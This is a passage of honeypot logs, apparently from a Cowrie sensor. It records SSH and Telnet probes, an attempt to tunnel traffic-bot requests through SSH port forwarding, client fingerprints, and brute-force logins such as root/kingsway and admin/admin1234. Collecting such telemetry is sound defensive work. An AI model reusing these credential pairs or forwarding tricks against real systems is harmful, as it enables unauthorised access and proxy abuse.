P5diFA%2BsqdhRIhWJ8zcVKDLBHm%2FvqVu1DDoULM%2BjZpaiDns7PF9%2Bfa2XhpBdCbsg2ZYkZBWeTx%2FM7TT1wVklGzsnKg2pz%2FFhnUcYI5u15T04CXSxzER7O1dRzNG6MZvPXFY69aWPWaGtN0Jrk76%2BW3dQspMjUE6l7G8PW%2Ft7Nganatc4gRMrPyDlO0xvZNRD88fcJcm8t%2F3LSgsogoX9Q%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.5 Mobile/16H20 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1198\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cUZyeXEmTl8%2BdkZKeGhseQ%3D%3DMgmIN5rnXutmwaGyGfJNxDoc6i75p2Yuwp3%2BUey6ilr59V9NtraE2CDe7Qtqx3%2F2uqeB3Fo9M079YwZN9W9%2BCkEwLmXYSDzOCEP%2FXVP3sDuvgSVh1zka42LWXzWbRI7%2Bq9F5nSE3jJNuHkA8OmmvFKMARLueGe6%2Fh8UpaUub%2F%2FrqqBiiU3MqFQPhwxItJJGw34Dcewa0E%2Bk%2F03JgBgq%2FS%2FIzZtAGFAPbX9n0oa9PkCQJ55pDhmmiuN8I6e8TlgWswqlfnvpcvnk059KPsoqLPn1vrsnOHY42Dn%2FYxB2xua2%2B98JaiVFvz7cJ0S%2BEtKppFJnDiJvjv7v5t52KmjXW%2F6%2Fkxtgnm%2Bkbx2mb3LpvGsppFOASG2nFgy9n2wXpYpIoL3Sxi%2BRAZoxKmcAf6nZBaPIo%2Ffc%2F5etnNbxknE1ED%2BTHyhrSb2g%2BGvCVclr8VkCh%2FN75m83fJLnvwaAP5MfrU%2BB4Pw%2BdyO2fwq862HvaUEDmYNuvJqhv7SRsq20%2FA3aWKABUUY%2FPhE1%2BLm78R0S8ojuueR%2FP2GIGl7yvaavU98pZOnx4f0OTHZlv%2BFEUf%2BYFPs8d9Lac3z88nHDulY87R0RF%2FSqB%2B17UR5%2BZBhhfaycV6GST88x8xV6GfB6GetdWf0lUZSjb75JkOywLghV9dMiWwn%2BztD7d2y5YcmjRjSUOHarv30vZf4cwEPW6oDQPpomEA%2FoBVjMRz4PwoZVdxTYqeTm5r2xvBroRyJMtILC%2BZTVub%2BPipKELlq7ZVUGcQzY4D32u8P87pDqfMJ3VqMxKub0nqpCRs6WyqtRi7Dius6AFwO6dKzCTMt7gt6qfw7SEn4WVn8ZYtqI6Juy174P5diFA%2BsqdhRIhWJ8zcVKDLBHm%2FvqVu1DDoULM%2BjZpaiDns7PF9%2Bfa2XhpBdCbsg2ZYkZBWeTx%2FM7TT1wVklGzsnKg2pz%2FFhnUcYI5u15T04CXSxzER7O1dRzNG6MZvPXFY69aWPWaGtN0Jrk76%2BW3dQspMjUE6l7G8PW%2Ft7Nganatc4gRMrPyDlO0xvZNRD88fcJcm8t%2F3LSgsogoX9Q%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:10.447531Z","src_ip":"113.164.152.20","session":"e9fa8ed0b4a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:10.720479Z","src_ip":"113.164.152.20","session":"e9fa8ed0b4a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\r\\xb7\\xd7\\x8c3\\x93\\xce\\x9cHH\\xdeg21\\xfd!w\\xd5^\\xa9\\x10\\xd7\\x03\\x1d\"\\xfb\\xff\\x1eB\\xb5\\xc9X \\x10\\x9b\\x0f~\\xbf\\xd1\\x1a\\x95k\\xb7(\\x1a\\x9c\\xa7x\\xd7\\xba\\x7f\\xb5\\x04\\x85v\\x03\\x12\\x19\\xfcV\\xa0\\xb9\\xc4\\xe6\\x80\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe5\\xf7M\\xca\\xae\\xe9\\xa6>R1\\x82\\xc6\\xd3W\\xf7\\x19h\\x93\\xf0/\\x07\\xca\\x05\\xf2.i\\x91\\x18\\x12\\x93Ef\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\r\\xb7\\xd7\\x8c3\\x93\\xce\\x9cHH\\xdeg21\\xfd!w\\xd5^\\xa9\\x10\\xd7\\x03\\x1d\"\\xfb\\xff\\x1eB\\xb5\\xc9X \\x10\\x9b\\x0f~\\xbf\\xd1\\x1a\\x95k\\xb7(\\x1a\\x9c\\xa7x\\xd7\\xba\\x7f\\xb5\\x04\\x85v\\x03\\x12\\x19\\xfcV\\xa0\\xb9\\xc4\\xe6\\x80\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe5\\xf7M\\xca\\xae\\xe9\\xa6>R1\\x82\\xc6\\xd3W\\xf7\\x19h\\x93\\xf0/\\x07\\xca\\x05\\xf2.i\\x91\\x18\\x12\\x93Ef\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:10.723520Z","src_ip":"113.164.152.20","session":"e9fa8ed0b4a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:11.275777Z","session":"e9fa8ed0b4a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:11.556385Z","src_ip":"113.164.152.20","session":"e9fa8ed0b4a5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03~\\xf9\\xcc\\x1ef\\x19\\xebx\\x19\\x10Ht}\\xcf\\xabS\\xfc\\x91\\xae\\xf1\\x88K\\x9f\\x08\\x0fm3U\\x0f3\\xff\\xcb \\x0b\\xd7\\xc6\\xfd\\xe5\\xc9\\xcf:%=g\\xfc*@\\x9bI\\xc3?\\xeao\\x8cpy\\xdc\\x8c\\xffq\\xacQ+\\x0bn\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 T\\xc6^\\xd5_\\xec\\xc5\\x89u\\xc5r\\xf8~\\x94\\x93\\xdc\\xaf\\xf1\\xae\\x06\\x8f\\x05\\xf7\\xe5\\xa5F\\x8e\\r\\xf64\\xdb5\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03~\\xf9\\xcc\\x1ef\\x19\\xebx\\x19\\x10Ht}\\xcf\\xabS\\xfc\\x91\\xae\\xf1\\x88K\\x9f\\x08\\x0fm3U\\x0f3\\xff\\xcb \\x0b\\xd7\\xc6\\xfd\\xe5\\xc9\\xcf:%=g\\xfc*@\\x9bI\\xc3?\\xeao\\x8cpy\\xdc\\x8c\\xffq\\xacQ+\\x0bn\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 T\\xc6^\\xd5_\\xec\\xc5\\x89u\\xc5r\\xf8~\\x94\\x93\\xdc\\xaf\\xf1\\xae\\x06\\x8f\\x05\\xf7\\xe5\\xa5F\\x8e\\r\\xf64\\xdb5\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:11.559661Z","src_ip":"113.164.152.20","session":"e9fa8ed0b4a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:11.965724Z","src_ip":"113.164.152.20","session":"e9fa8ed0b4a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.2","message":"Connection lost after 18.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:15.182707Z","src_ip":"23.175.50.47","session":"e5dbeec2d27f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":53734,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fadf440e422","protocol":"ssh","message":"New connection: 27.71.230.31:53734 (10.17.0.5:22) [session: 0fadf440e422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:16.881713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:16.911368Z","src_ip":"27.71.230.31","session":"0fadf440e422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39412,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd39c6745e85","protocol":"telnet","message":"New connection: 172.81.62.90:39412 (159.203.135.109:23) [session: dd39c6745e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:17.050790Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:17.118622Z","src_ip":"27.71.230.31","session":"0fadf440e422","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kingsway","message":"login attempt [root/kingsway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:22.506912Z","src_ip":"27.71.230.31","session":"0fadf440e422","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:24.370786Z","src_ip":"27.71.230.31","session":"0fadf440e422","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.90.176.33","src_port":51218,"dst_ip":"159.203.135.109","dst_port":22,"session":"d327f8cceea8","protocol":"ssh","message":"New connection: 89.90.176.33:51218 (159.203.135.109:22) [session: d327f8cceea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:37.307335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.81","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:37.311777Z","src_ip":"89.90.176.33","session":"d327f8cceea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:37.316103Z","src_ip":"89.90.176.33","session":"d327f8cceea8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":54588,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ca56d5e63bc","protocol":"ssh","message":"New connection: 123.27.168.40:54588 (10.17.0.5:22) [session: 5ca56d5e63bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:38.370027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:38.374543Z","src_ip":"123.27.168.40","session":"5ca56d5e63bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:38.627682Z","src_ip":"123.27.168.40","session":"5ca56d5e63bc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:22:39.784740Z","src_ip":"123.27.168.40","session":"5ca56d5e63bc","protocol":"ssh"}
